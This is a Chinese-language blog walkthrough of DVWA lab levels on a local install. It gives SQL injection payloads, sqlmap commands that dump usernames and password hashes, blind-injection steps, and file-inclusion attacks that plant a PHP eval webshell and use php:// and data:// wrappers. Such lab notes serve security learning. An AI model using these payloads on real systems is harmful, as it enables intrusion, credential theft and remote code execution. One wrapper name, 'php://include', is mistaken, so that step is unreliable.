DVWA通关笔记
SQL注入
LOW
1.寻找注入点
?uid=1'
----------------页面报错
?uid=1’ --+
------------------页面正常
则为单引号闭合
2.判断列数
?uid=1' order by 3--+
--------------------------页面报错
?uid=1' order by 2--+
--------------------------页面正常
则有2列
3.判断回显显示位置
?uid=-1' union select 1,2 --+
----------------------执行失败
原因:提示缺少一个单引号闭合,在最末尾添加一个单引号即可
关于SQL注入的注释符问题:
--a,--空格,--+,#,--%20,%23,末尾引号闭合
+在sql中被认为是空格的意思,等同于--空格
注意:区别直接在URL中输入--+和在提交框中输入--+!URL中的--+可以被解析,#不行,提交框中直接使用#
提交框是POST请求!URL是GET请求
?uid=-1' union select 1,2#
-----------------------执行成功
有两个回显位
4.查询数据库名字
uid=-1' union select database(),version() #
------------------------------执行成功
数据库名字为dvwa
版本为5.7.26
5.查询dvwa库中的所有表
uid=-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa' #
报错:Illegal mix of collations for operation 'UNION'
解决方法:
参考https://blog.csdn.net/qq_43665434/article/details/114088565
在mysql中:
use dvwa;
alter table users modify first_name varchar(15) character set utf8 collate utf8_general_ci;
alter table users modify last_name varchar(15) character set utf8 collate utf8_general_ci;
修改后上述命令就可以成功执行了。
查询到的表格:guestbook,users
6.查询users表中的列名
uid=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' #
---------------------------------执行成功
查询到的列:user_id,first_name,last_name,user,password,avatar,last_login,failed_login
7.查询user,password信息
uid=-1' union select group_concat(user),group_concat(password) from dvwa.users #
仍旧可能出现Illegal mix of collations for operation 'UNION'的报错,可以直接将phpstudy中的mysql设置为8.0版本
查询到的数据:
user:admin,gordonb,1337,pablo,smithy
password:5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99
password采用md5解密即可
8.SQLMAP注入
sqlmap -u "链接" (注意!连接中是?id=1,不用故意写错)
出现了302重定向,返回了登录页面--------------------添加cookie解决
登录后抓包,提取数据包中的cookie信息
再在sqlmap中写入
sqlmap -u "链接/?id=1&Submit=Submit" --cookie="提取到的cookie" --batch(自动选择)
成功得到payload
获取数据库名字:
sqlmap -u "链接/?id=1&Submit=Submit" --cookie="xxxxxxxxxxxxxxxxxx" --batch --dbs
获取dvwa中的表名:
sqlmap -u "链接/?id=1&Submit=Submit" --cookie="xxxxxxxxxxxxxxxxxx" --batch -D dvwa --tables
获取users表中的列:
sqlmap -u "链接/?id=1&Submit=Submit" --cookie="xxxxxxxxxxxxxxxxxx" --batch -D dvwa -T users --columns
获取user,password这两列的信息:
sqlmap -u"链接/?id=1&Submit=Submit" --cookie="xxxxxxxxxxxxxxxxxx" --batch -D dvwa -T users -C user,password --dump(显示数据)
MEDIUM
1.寻找注入点
该关页面上没有明确的注入点(没有URL,表单提交)
打开页面后此时只有几个选项和提交按钮,为了寻找到注入点,我们可以使用burpsuite
点击提交后发现抓到的数据包请求类型为POST 且请求中有id=1,尝试修改为id=1' ------------------------------页面报错
id=1' #
--------------------报错
各种尝试后,发现为数字型注入,即不使用符号对数字进行闭合
2.判断列数
id=1 order by 3 #
-------------------------页面报错
id=1 order by 2 #
-------------------------页面正常
列数为2
3.判断回显位
id=-1 union select 1,2 #
--------------------页面正常
两个都是回显位
4.查询数据库名字
id=-1 union select 1,database() #
--------------页面正常
数据库名字为dvwa
5.查询dvwa库中的表名
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #
页面报错,原因:
该关的单引号被转义,无法使用
法一:
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
法二:十六进制绕过
在线转换器:http://tool.huixiang360.com/str/hex.php
将dvwa转换为64767761(注意dvwa不用加引号)
在burp中写为0x64767761
即
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761#
-------------------------执行成功
6.查询users中的列名
table_name='users'同理,将users转化为16进制
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
执行成功
7.查询users中user,password信息
id=-1 union select user, password from users#
------------------执行成功
8.SQLMAP注入
因为无法直接在url中注入,也没有表单提交,只能将burp中抓到的包保存在sqlmap同一目录下的txt文件中。
sqlmap.py -r 文件根路径 --batch
……
HIGH
该关点击链接实现跳转,防御了SQLMAP注入,手工注入步骤和之前相同
sqlmap实现注入待补充
SQL盲注
盲注:没有回显位,没有报错信息,所以可以通过页面状态来判断
LOW
1.寻找注入点
id=1
-----------------------页面显示存在
id-1'
---------------------页面显示不存在
id=1'#
--------------------页面显示存在
所以判断为单引号闭合字符型注入
2.判断列数
id=1' order by 3#
------------------页面显示不存在
id=1' order by 2#
-----------------页面显示存在
列数为2
3.判断回显位置
盲注,页面无回显位。
4.查询数据库名字
盲注可以采用布尔盲注,时间盲注等
file inclusion
1.找路径
先试试服务器系统是不是Linux:
127.0.0.1/dvwa/vulnerabilities/fi/?page=etc/shaow
/etc/shaow 是Linux系统的系统路径
--------------------报错,服务器不是Linux系统 且显示文件的绝对路径为No such file or directory in D:\MY\phpstudy_pro\phpstudy_pro\WWW\dvwa\vulnerabilities\fi\index.php
使用绝对路径访问服务器的配置文件php.ini
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=D:\MY\phpstudy_pro\phpstudy_pro\WWW\dvwa\php.ini
显示结果:
; This file attempts to overwrite the original php.ini file. Doesnt always work.
magic_quotes_gpc = Off
allow_url_fopen = on
allow_url_include = on
2.文件包含利用
allow_url_fopen和allow_url_include打开时,可以使用远程文件包含/伪协议
远程文件包含
?page=远程文件的路径
(本地文件包含就写本地绝对路径)
上述文件的内容为php代码,访问该url,文件中的php代码就会被执行。
因此,可以在文件中写入php一句话木马,访问url后,可以使用蚁剑连接该文件,获取webshell权限。
?page=C:\Users\butterscotch-ljs\Desktop/shell.jpg
其中,shell.jpg的内容代码为:
<?fputs(fopen("shell.php", "w"),'<?eval($_POST[abc]);?>')?>
执行后,在D:\MY\phpstudy_pro\phpstudy_pro\WWW\dvwa\vulnerabilities\fi目录下(即index.php同目录)生成了一个shell.php,可以用蚁剑连接。(注意,dvwa需要登录,需要现在蚁剑上右键浏览网站提前登录)
url地址:http://127.0.0.1/dvwa/vulnerabilities/fi/shell.php
密码:abc
成功获取webshell
伪协议:
1.php://include (执行输入的php代码)
在url中输入
?page=php://include
burpsuite抓包后在数据包末尾加入php代码如
<?php echo phpinfo(); ?>
发包,即可执行成功
也可以用POST方法提交(但是我的maxhackbar现在好像有点问题...)
2.data://
在url中输入
?page=data://text/plain,<?php%20phpinfo();?>
执行成功
标签:php,--,dvwa,DVWA,笔记,table,页面,id,通关 From: https://www.cnblogs.com/arongsec/p/17093081.html